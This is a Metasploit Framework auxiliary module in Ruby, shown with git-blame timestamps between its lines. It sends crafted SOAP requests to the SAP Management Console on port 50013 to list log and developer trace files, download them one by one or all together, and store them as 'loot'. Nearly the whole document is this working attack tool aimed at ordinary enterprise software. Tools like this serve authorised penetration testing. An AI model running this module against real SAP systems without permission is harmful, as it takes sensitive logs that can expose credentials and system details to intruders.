2011-03-02 10:18:31 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-03-02 10:18:31 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2011-10-20 01:07:08 +00:00
|
|
|
class Metasploit4 < Msf::Auxiliary
|
2011-03-02 10:18:31 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'SAP Management Console Get Logfile',
|
|
|
|
'Version' => '$Revision$',
|
2011-07-28 22:57:47 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module simply attempts to download available logfiles and
|
|
|
|
developer tracefiles through the SAP Management Console SOAP
|
2012-07-23 15:26:33 +00:00
|
|
|
Interface. Please use the sap_mgmt_con_listlogfiles
|
|
|
|
extension to view a list of available files.
|
2011-07-28 22:57:47 +00:00
|
|
|
},
|
2011-03-02 10:18:31 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
# General
|
|
|
|
[ 'URL', 'http://blog.c22.cc' ]
|
|
|
|
],
|
2012-07-24 18:11:04 +00:00
|
|
|
'Author' =>
|
2012-07-23 15:26:33 +00:00
|
|
|
[ 'Chris John Riley', # original msf module
|
2012-07-24 10:02:49 +00:00
|
|
|
'Bruno Morisson <bm[at]integrity.pt>' # bulk file retrieval
|
2012-07-23 15:26:33 +00:00
|
|
|
],
|
2011-03-02 10:18:31 +00:00
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
2012-07-23 15:26:33 +00:00
|
|
|
|
2011-03-02 10:18:31 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(50013),
|
|
|
|
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
2012-07-23 15:26:33 +00:00
|
|
|
OptString.new('RFILE', [ true, 'The name of the file to download ', 'sapstart.log']),
|
2011-03-02 10:18:31 +00:00
|
|
|
OptString.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE']),
|
2012-07-23 15:26:33 +00:00
|
|
|
OptString.new('GETALL', [ false, 'Download all available files (WARNING: may take long!)', 'false']),
|
2011-03-02 10:18:31 +00:00
|
|
|
], self.class)
|
|
|
|
register_autofilter_ports([ 50013 ])
|
|
|
|
deregister_options('RHOST')
|
|
|
|
end
|
|
|
|
|
|
|
|
def rport
|
|
|
|
datastore['RPORT']
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => "/#{datastore['URI']}",
|
2012-07-24 10:02:49 +00:00
|
|
|
'method' => 'GET'
|
2011-03-02 10:18:31 +00:00
|
|
|
}, 25)
|
2011-10-20 01:07:08 +00:00
|
|
|
|
|
|
|
if not res
|
|
|
|
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
|
|
|
|
return
|
|
|
|
end
|
2012-07-23 15:26:33 +00:00
|
|
|
if "#{datastore['GETALL']}" == 'true'
|
|
|
|
listfiles(ip)
|
|
|
|
else
|
|
|
|
gettfiles(rhost,"#{datastore['RFILE']}",'')
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def listfiles(rhost)
|
|
|
|
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
|
|
|
success = false
|
|
|
|
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
|
|
|
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
|
|
|
xs = 'http://www.w3.org/2001/XMLSchema'
|
|
|
|
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
|
|
|
|
|
|
|
case "#{datastore['FILETYPE']}"
|
|
|
|
when /^LOG/i
|
|
|
|
ns1 = 'ns1:ListLogFiles'
|
|
|
|
when /^TRACE/i
|
|
|
|
ns1 = 'ns1:ListDeveloperTraces'
|
2012-07-24 10:02:49 +00:00
|
|
|
else
|
|
|
|
print_error("#{rhost}:#{rport} [SAP] unsupported filetype #{datastore['FILETYPE']}")
|
|
|
|
return
|
2012-07-23 15:26:33 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
|
|
|
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
|
|
|
data << '<SOAP-ENV:Header>' + "\r\n"
|
|
|
|
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
|
|
|
data << '<enableSession>true</enableSession>' + "\r\n"
|
|
|
|
data << '</sapsess:Session>' + "\r\n"
|
|
|
|
data << '</SOAP-ENV:Header>' + "\r\n"
|
|
|
|
data << '<SOAP-ENV:Body>' + "\r\n"
|
|
|
|
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
|
|
|
|
data << '</SOAP-ENV:Body>' + "\r\n"
|
|
|
|
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
|
|
|
|
|
|
|
begin
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => "/#{datastore['URI']}",
|
|
|
|
'method' => 'POST',
|
|
|
|
'data' => data,
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
'Content-Length' => data.length,
|
|
|
|
'SOAPAction' => '""',
|
|
|
|
'Content-Type' => 'text/xml; charset=UTF-8',
|
|
|
|
}
|
|
|
|
}, 30)
|
|
|
|
|
|
|
|
env = []
|
|
|
|
if res and res.code == 200
|
|
|
|
case res.body
|
|
|
|
when /<file>(.*)<\/file>/i
|
|
|
|
body = []
|
|
|
|
body = res.body
|
|
|
|
env = body.scan(/<filename>(.*?)<\/filename><size>(.*?)<\/size><modtime>(.*?)<\/modtime>/i)
|
|
|
|
success = true
|
|
|
|
end
|
|
|
|
elsif res and res.code == 500
|
|
|
|
case res.body
|
|
|
|
when /<faultstring>(.*)<\/faultstring>/i
|
|
|
|
faultcode = $1.strip
|
|
|
|
fault = true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if success
|
|
|
|
print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}: #{env.length} files available")
|
|
|
|
|
|
|
|
env.each do |output|
|
|
|
|
gettfiles(rhost,output[0],output[1])
|
|
|
|
end
|
|
|
|
|
|
|
|
return
|
2011-03-02 10:18:31 +00:00
|
|
|
|
2012-07-23 15:26:33 +00:00
|
|
|
elsif fault
|
|
|
|
print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
|
|
|
|
return
|
|
|
|
|
|
|
|
else
|
|
|
|
print_error("#{rhost}:#{rport} [SAP] failed to list files")
|
|
|
|
return
|
|
|
|
end
|
2011-03-02 10:18:31 +00:00
|
|
|
end
|
|
|
|
|
2012-07-23 15:26:33 +00:00
|
|
|
def gettfiles(rhost,logfile,filelen)
|
|
|
|
if filelen
|
|
|
|
print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (#{filelen} bytes)")
|
|
|
|
else
|
|
|
|
print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (size unknown)")
|
|
|
|
end
|
2011-03-02 10:18:31 +00:00
|
|
|
success = false
|
|
|
|
|
|
|
|
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
|
|
|
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
|
|
|
xs = 'http://www.w3.org/2001/XMLSchema'
|
|
|
|
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
|
|
|
|
|
|
|
case "#{datastore['FILETYPE']}"
|
2011-03-11 16:50:18 +00:00
|
|
|
when /^LOG/i
|
2011-03-02 10:18:31 +00:00
|
|
|
ns1 = 'ns1:ReadLogFile'
|
2011-03-11 16:50:18 +00:00
|
|
|
when /^TRACE/i
|
2011-03-02 10:18:31 +00:00
|
|
|
ns1 = 'ns1:ReadDeveloperTrace'
|
2012-07-24 10:02:49 +00:00
|
|
|
else
|
|
|
|
print_error("#{rhost}:#{rport} [SAP] unsupported filetype: #{datastore['FILETYPE']}")
|
|
|
|
return
|
2011-03-02 10:18:31 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
|
|
|
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
|
|
|
data << '<SOAP-ENV:Header>' + "\r\n"
|
|
|
|
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
|
|
|
data << '<enableSession>true</enableSession>' + "\r\n"
|
|
|
|
data << '</sapsess:Session>' + "\r\n"
|
|
|
|
data << '</SOAP-ENV:Header>' + "\r\n"
|
|
|
|
data << '<SOAP-ENV:Body>' + "\r\n"
|
2012-07-23 15:26:33 +00:00
|
|
|
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><filename>' + logfile + '</filename></' + ns1 + '>' + "\r\n"
|
2011-03-02 10:18:31 +00:00
|
|
|
data << '</SOAP-ENV:Body>' + "\r\n"
|
|
|
|
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
2011-11-20 02:12:07 +00:00
|
|
|
|
2011-03-02 10:18:31 +00:00
|
|
|
begin
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => "/#{datastore['URI']}",
|
|
|
|
'method' => 'POST',
|
|
|
|
'data' => data,
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
'Content-Length' => data.length,
|
|
|
|
'SOAPAction' => '""',
|
|
|
|
'Content-Type' => 'text/xml; charset=UTF-8',
|
|
|
|
}
|
|
|
|
}, 120)
|
|
|
|
|
|
|
|
env = []
|
|
|
|
|
2012-06-04 19:56:27 +00:00
|
|
|
if res and res.code == 200
|
2011-03-02 10:18:31 +00:00
|
|
|
case res.body
|
|
|
|
when /<item>([^<]+)<\/item>/i
|
|
|
|
body = []
|
|
|
|
body = res.body
|
|
|
|
env = body.scan(/<item>([^<]+)<\/item>/i)
|
|
|
|
success = true
|
|
|
|
end
|
|
|
|
|
|
|
|
case res.body
|
|
|
|
when /<name>([^<]+)<\/name>/i
|
2011-03-02 18:46:00 +00:00
|
|
|
name = $1.strip
|
2011-03-02 10:18:31 +00:00
|
|
|
success = true
|
|
|
|
end
|
|
|
|
|
2012-06-04 19:56:27 +00:00
|
|
|
elsif res and res.code == 500
|
2011-03-02 10:18:31 +00:00
|
|
|
case res.body
|
|
|
|
when /<faultstring>(.*)<\/faultstring>/i
|
2011-03-02 18:46:00 +00:00
|
|
|
faultcode = $1.strip
|
2011-03-02 10:18:31 +00:00
|
|
|
fault = true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionError
|
2011-03-11 16:50:18 +00:00
|
|
|
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
|
2011-03-02 10:18:31 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if success
|
2012-07-23 15:26:33 +00:00
|
|
|
print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}:#{logfile.downcase} looted")
|
2011-10-20 01:07:08 +00:00
|
|
|
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
|
2012-07-24 18:11:04 +00:00
|
|
|
p = store_loot(
|
2012-07-23 15:26:33 +00:00
|
|
|
"sap.#{datastore['FILETYPE'].downcase}.file",
|
2011-10-17 02:42:01 +00:00
|
|
|
"text/xml",
|
2011-10-20 01:07:08 +00:00
|
|
|
addr,
|
2011-10-17 02:42:01 +00:00
|
|
|
res.body,
|
2012-07-23 15:26:33 +00:00
|
|
|
"sap_#{logfile.downcase}.xml",
|
2011-10-17 02:42:01 +00:00
|
|
|
"SAP Get Logfile"
|
|
|
|
)
|
2012-07-24 18:11:04 +00:00
|
|
|
print_status("Logfile stored in: #{p}")
|
2011-03-02 10:18:31 +00:00
|
|
|
elsif fault
|
2011-10-18 00:54:05 +00:00
|
|
|
print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
|
2011-03-02 10:18:31 +00:00
|
|
|
return
|
|
|
|
else
|
2012-07-23 15:26:33 +00:00
|
|
|
print_error("#{rhost}:#{rport} [SAP] failed to download file")
|
2011-03-02 10:18:31 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|